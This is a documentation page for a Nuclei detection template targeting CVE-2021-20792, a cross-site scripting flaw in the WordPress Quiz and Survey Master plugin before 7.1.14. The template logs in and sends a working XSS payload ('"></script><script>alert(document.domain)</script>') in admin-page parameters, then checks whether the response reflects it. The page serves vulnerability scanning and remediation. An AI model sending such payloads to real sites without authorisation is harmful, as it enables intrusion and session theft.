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WordPress Quiz and Survey Master <7.1.14 - Cross-Site Scripting

ID: CVE-2021-20792

Severity: medium

Author: dhiyaneshDK

Tags: cve2021,cve,wordpress,wp-plugin,authenticated,wpscan,expresstech

Description

Section titled “Description”

WordPress Quiz and Survey Master plugin prior to 7.1.14 contains a cross-site scripting vulnerability which allows a remote attacker to inject arbitrary script via unspecified vectors.

YAML Source

Section titled “YAML Source”
id: CVE-2021-20792


info:
  name: WordPress Quiz and Survey Master <7.1.14 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: WordPress Quiz and Survey Master plugin prior to 7.1.14 contains a cross-site scripting vulnerability which allows a remote attacker to inject arbitrary script via unspecified vectors.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of WordPress Quiz and Survey Master plugin (7.1.14) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/4deb3464-00ed-483b-8d91-f9dffe2d57cf
    - https://quizandsurveymaster.com/
    - https://jvn.jp/en/jp/JVN65388002/index.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20792
    - https://plugins.trac.wordpress.org/changeset?new=2503364%40quiz-master-next%2Ftrunk%2Fphp%2Fadmin%2Fquizzes-page.php&old=2490516%40quiz-master-next%2Ftrunk%2Fphp%2Fadmin%2Fquizzes-page.php
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-20792
    cwe-id: CWE-79
    epss-score: 0.00222
    epss-percentile: 0.60463
    cpe: cpe:2.3:a:expresstech:quiz_and_survey_master:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: expresstech
    product: quiz_and_survey_master
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,authenticated,wpscan,expresstech


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check


        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=mlw_quiz_list&s="></script><script>alert(document.domain)</script>&paged="></script><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100da736d2d8a6b7f2ea22b3d71426d567484deed85995480631758d6178d8b42940220010b5c70aa47197f352a62466ffe9d627462f221c9284a5760da759ee24bbcee:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-20792.yaml"

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